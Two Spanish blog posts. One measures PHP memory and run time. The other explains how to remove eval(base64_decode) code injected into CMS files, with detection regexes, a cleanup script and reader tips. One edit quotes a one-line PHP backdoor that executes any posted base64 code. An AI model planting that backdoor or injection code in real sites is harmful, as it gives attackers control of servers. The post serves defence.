Sunday 28 November 2010

Medir consumo de RAM y tiempo para evaluar el rendimiento de tu script PHP/MySQL

¿Andas con la duda de si tu script de PHP o tus consultas a la base de datos MySQL necesitan una optimización para ganar tiempo de respuesta y ahorrar consumo de memoria? ¿Has recibido ya los primeros errores del tipo "Fatal error: Out of memory (allocated 3145728) (tried to allocate 491520 bytes) in /home/..."? Eso es que necesitas mejorar o bien la construcción/sintaxis de tus consultas a la base de datos, y/o gestionar mejor los bucles, las variables, los arrays y en general el uso de la memoria.


Más adelante prometo escribir algún consejo al respecto de la optimización, pero ahora empezaré por centrarme en cómo podemos comparar el antes y el después ;) Es decir, convendría que probases diversos modos de hacer tus consultas y gestionar las mismas, usando mientras lo haces algún tipo de medición de tiempo y de consumo de RAM, para después comparar los datos y saber cuál de los caminos que has construido es el más eficaz!!

Medir el consumo de memoria RAM en PHP



Hay dos funciones, pero para la intención que tenemos de optimización nos viene mejor ésta: memory_get_peak_usage(), que mide el máximo de memoria RAM que hemos hecho "hasta el momento". la usaremos así de sencillamente:

1  <?php
2  
3  $memo_ini
=memory_get_peak_usage();
4  
mi_funcion(); // se supone que esto es lo que consume muchos recursos
5  
$memo_fin=memory_get_peak_usage();
6  
7  echo 
"Usados un máximo de: ".round(($memo_fin $memo_ini)/(1024*1024),2). "Mb";
8  
9  
?>


En la $memo_ini y en $memo_fin almacenamos el uso máximo de RAM por nuestro "thread" (hilo?) PHP, con lo cuál haciendo la resta de ambos valores obtendremos la cantidad de memoria máxima añadida por la función "mi_funcion". El resultado lo obtenemos en bytes, por lo que lo pasamos a Mb dividiendo por (1024*1024) y lo pasamos a dos decimales (más que suficiente, aunque puedes darle más si necesitas más precisión).

Ten en cuenta que memory_get_peak_usage() devuelve el MÁXIMO de RAM consumida hasta el momento. Así que puedes imaginarte que si intentas medir consumos pequeños de RAM puede que te salga cero!! ¿Porque?

Pongamos un ejemplo. Cuando calculas el $time_ini has tenido un consumo máximo de 4Mb, sin embargo, tal vez ya descargarte parte de ese espacio espacio que ocupaste, por ejemplo con la función nativa unset(), y por tanto ahora mismo en RAM ocupas solo 2Mb. Así pues, si cuando llamas a "mi_funcion()", ésta consume por ejemplo 1Mb de RAM, entonces tu consumo en ese momento será de 2Mb+1Mb=3Mb... que es inferior a 4Mb. Así pues, cuando llames por segunda vez a la función memory_get_peak_usage() para calcular $memo_fin, te seguirá devolviendo el valor 4Mb !!!

Tal vez entonces te preguntes qué utilidad tiene y si no hay otra alternativa. Bueno, en cuanto a lo primero, claro que nos es útil! pues loq ue intentamos medir son "puntas" de consumo de RAM excesivas. Y en cuanto a lo segundo, claro que hay otra alternativa: la función que cité pero no mencioné arriba al inicio del artículo: memory_get_usage().

Esta segunda función mide EXACTAMENTE la memoria RAM ocupada en el momento que la llamas. Pero según cómo es más incómoda de usar. Te pondré un simple ejemplo: imagina que quieres medir el consumo de RAM del ejemplo que he puesto arriba, pero supon que "mi_funcion()" en realidad es un script de terceros al que no tenemos mucho acceso o simplemente no queremos gastar nuestro tiempo en analizar por dentro. Y supongamos además, que el script está medianamente bien hecho y se encarga de eliminar de la RAM cada una de las variables que va ocupando en sus cálculos.... así pues no podríamos saber cuánta memoria como máximo llega a usar, porque esta segunda función (memory_get_usage) posiblemente nos devolvería prácticamente la misma cantidad de memoria antes y después de llamar a "mi_funcion()". ¿Si me entiendes?

Conclusión... cada una de las dos funciones pueden ser útiles en según qué contextos, pero en general, creo que la primera nos será más cómoda a la par que suficiente.

Medir el consumo de tiempo de procesamiento



Bueno, este aspecto es mucho más sencillo. Mejor poner un ejemplo:

1  <?php
2  
3  $time_ini
=_microtime();
4  
mi_funcion(); // se supone que esto es lo que consume muchos recursos
5  
$time_fin=_microtime();
6  
7  echo 
"Procesado en: ".round(($time_fin $time_ini),2). " segs.";
8  
9  function 
_microtime(){
10  
// 0.41494500 1291000531 -> 1291000531.41494500
11  
list($usec$sec) = explode(" "microtime());
12  return ((float)
$usec + (float)$sec);
13  }
14  
15  
?>


Es decir, en lugar de usar la función nativa de PHP microtime() construimos una llamada _microtime(), porque la salida de la primera es un tanto especial (véase la primera línea comentada de la función que definimos).

Saturday 24 April 2010

Archivos PHP hackeados con eval(base64_decode())

Te interesa este artículo si acabas de descubrir con estupor que los archivos de PHP de tu Wordpress, o OSCommerce, o cualquier CMS PHP han sido reescritos "mágicamente" (obviamente por un código malicioso), y al inicio presentan una línea como ésta:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZ... ...9fX0=')); ?>


Escenario

Se trata de una "inyección de código PHP" codificado en base64 que normalmente se extiende a TODOS los archivos PHP que tengas en ese dominio! como lo oyes, increíble, no?

No es difícil decodificar la base64, y encontrarás un centenar de sitios web en donde explican cómo hacerlo. Pero resumidamente esa "cabecera" inyectada en tus archivos PHP es capaz de leer todo tu sistema de archivos y enviar esa información a quien dejó la "semilla".

No he leído en profundidad sobre el origen de este hackeo, aunque sí he leído que se remonta al menos al año 2001!!! Además, si decodificas el mensaje en base64 verás que es a su vez un código PHP que llama a otro archivo de nuevo con codificación en base64, que suele ser un archivo perdito en el árbol de directorios, normalmente una "falsa hoja de estilos en PHP" del skin o del theme de algún plugin de algún componente de tu CMS (el editor HTML, por ejemplo). Como que estos componentes suelen ser opensource, alguien con malicia puede intentar colar un código de hackeo fácilmente de esta forma (entre los estilos, de un skin, de un plugin...).

En mi caso lo descubrí en:

/var/www/sites/myuser/mydomain.com/subdomains/www/html/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php


Si quieres saber qué dice tu código en base64 usa esta web:

http://www.motobit.com/util/base64-decoder-encoder.asp

marca la opción: "decode the data from a Base64 string (base64 decoding)" y pulsa en el botón "convert the source data".


Limpieza automatizada

En mi caso me bastó con limpiar esas inyecciones de PHP de mis archivos. Y como eran más de un centenar... pues necesitaba un script que automatizara esa limpieza. Y bueno, buscando un poco encontré un script que aproveché para mejorar y que podéis descargar aquí:

http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip


¿Cómo funciona?


  1. debes colocarlo en la raíz de tu dominio y llamarlo desde el navegador

  2. hará una exploración recursiva de TODOS los directorios y subdirectorios buscando archivos con extensión PHP, HTML o HTM.

  3. mirará dentro de cada archivo buscando mediante una expresión regular si hay algo como lo que puse arriba ("/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/")

  4. si encuentra ese código, primero hará un backup de ese archivo (por si quieres deshacer los cambios... que lo dudo) añadiéndole la extensión "_hackedcopy"

  5. por último, quitará del archivo el código malicioso

  6. además, mostrará por pantalla el listado completo (y sangrado!!!) de los archivos revisados marcando los infectados (rojo) y los limpios (verde)

En fin, estoy seguro que a más de uno le va a "salvar la vida". Aunque bien bien, no sé los efectos de tener ese código infectando tus archivos... Si alguien sabe algo, podría resumirlo en un comentario ;)

Y si alguien le hace más mejoras, pues me presto a actualizar la versióna actual :))


Editado en 24 May 2011:
Gracias a un comentarista, Henry, hemos descubierto que el cógido malicioso en base64 que infecta nuestros archivos puede estar delimitado por comillas simples (') como en el ejemplo que pongo en el artículo, o por comillas dobles (como le sucedió a Henry).

Si ese es tu caso, debes modificar la línea 86 del script de búsqueda y limpieza y poner esta otra expresión regular que usa comillas dobles ;)

"/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/"


Editado en 10 Octubre 2011:
Otro comentarista, Fco., nos ha hecho una valiosa aportación: nos ha proporcionado una expresión regular que cubre ambos casos, es decir, el de las comillas simples y el de las comillas dobles, y además tiene en cuenta posibles espacios en blanco! Excelente! jejejeje... es de esas cosas que nunca he sabido hacer: jugar con las expresiones regulares.

Ya modifiqué el script para descarga. Gracias Fco.
Os pongo aquí la expresión que Fco. ha construido:

$needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';


Editado en 5 Marzo 2012:
Otro comentarista, Romina, ha preguntado cómo sería posible eliminar todos esos archivos con el sufijo "_hackedcopy" que el script de limpieza ha generado. Porque la verdad sea dicha, al cabo de un mes de prudente distancia, ya podemos limpiar nuestro sistema de archivos de esas copias "contaminadas". En realidad son inocuas (=inofensivas) porqué no tienen la exetensión .php, pero en fin... ocupan espacio innecesariamente!

Para algun@s amantes de la consola linux la solución más fácil es usar un comando shell como éste que nos ha regalado un visitante anónimo:

for i in `find . -name '*_hackedcopy'`;do rm $i; done  


no soy un experto en linux, pero parece que debería funcionar. Tampoco lo he probado. Se agradecerá comentarios de quien lo pruebe ;)

Por otra parte, dado que a veces nuestro proveedor de hospedaje no nos proporciona acceso SSH al servidor o bien en el panel de hosting no hay una sección en donde ejecutar comandos de consola (`shell`), he programado un nuevo script

remove_copies.php

que he añadido al archivo ZIP para descarga de este artículo, que hará esa eliminación simplemente llamándolo desde el navegador, previamente habiéndolo colocado por FTP en la raíz del directorio que queremos "limpiar". Tranquilos, lo único que hace es: buscar recursivamente archivos con el sufijo '_hackedcopy' y los elimina. Para mayor control del asunto, el script saca por pantalla el listado de archivos eliminados y el número de directorios/archivos escaneados.


Editado en 5 Nov 2012:
Después de varios meses de recibir comentarios (se pueden leer debajo del artículo) creo interesante completar este artículo con los siguientes datos y trucos resaltados por algunos comentaristas:

  • Javier 3VS nos recuerda que podemos cambiar la línea 37 del script de localización de código mailicioso para detectar buscar en otros tipos de archivo que los propuestos inicialmente, puesto que resulta que estas inyecciones también suceden por ejemplo en archivos de javascript!!! (extensiones .js)

    $a_ext=array('php','html','htm','js');

  • Por supuesto, estas inyecciones de código en archivos de javascript ya no van a ejecutarse en el servidor sino en el navegador de los visitantes de nuestra web, así que podéis imaginar que la expresión inyectada es diferente y por tanto hemos de ajustar la expresión regular del script que es usada para encontrar estos códigos!!

    Para ayudarnos en el ajuste de esta expresión regular, Javier 3VS nos comparte el siguiente enlace en el que podemos JUGAR EN TIEMPO REAL con expresiones regulares para ver si funcionarán o no con nuestro código de muestra!!! genial, no?!

    http://gskinner.com/RegExr/?32kag

  • otro comentarista, Almo nos comparte detalladamente como hizo para buscar, encontrar, limpiar y mejorar su seguridad para el futuro. Creo que puede interesar a más de uno leer su explicación.

    Lo más interesante a destacar de su explicación creo yo es que él encontró la semilla en forma de un archivo /images/post.php (lástima que no indique de qué CMS) en el que éste código recibe por POST cualquier código PHP que se le quiera pasar y LO EJECUTA!!! imaginen que desastre si alguien tiene un acceso así a nuestro servidor :(

    if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}


Editado en 4 Ene 2013: [JOOMLA]
Gracias a José tenemos nueva información útil para los usuarios de Joomla:

  • en su caso dice que la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php)

  • después de limpiar el código de su web ha seguido las medidas de seguridad propuestas en este artículo:

    http://www.siteground.com/tutorials/joomla15/joomla_security.htm

    el documento es de lectura recomendada para todos los usuarios de Joomla, pero yo lo recomendaría para todo el mundo, y Jose lo resume así: he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).

  • Por cierto, Jose también descubrió cuál era la finalidad del ataque: cuando la gente veía su web en el buscador Google todo parecía normal, pero cuando pulsaban en el enlace eran redirigidos a páginas de terceros, habitualmente porno.

En fin feliz búsqueda, captura y eliminación! ;)
Y si en tu lucha encuentras algo nuevo que aquí no hayamos dicho y pueda servir, añádelo en los comentarios... yo me encargo de incorporarlo al artículo o al script si es suficientemente de interés general.

Un saludo!
SERGI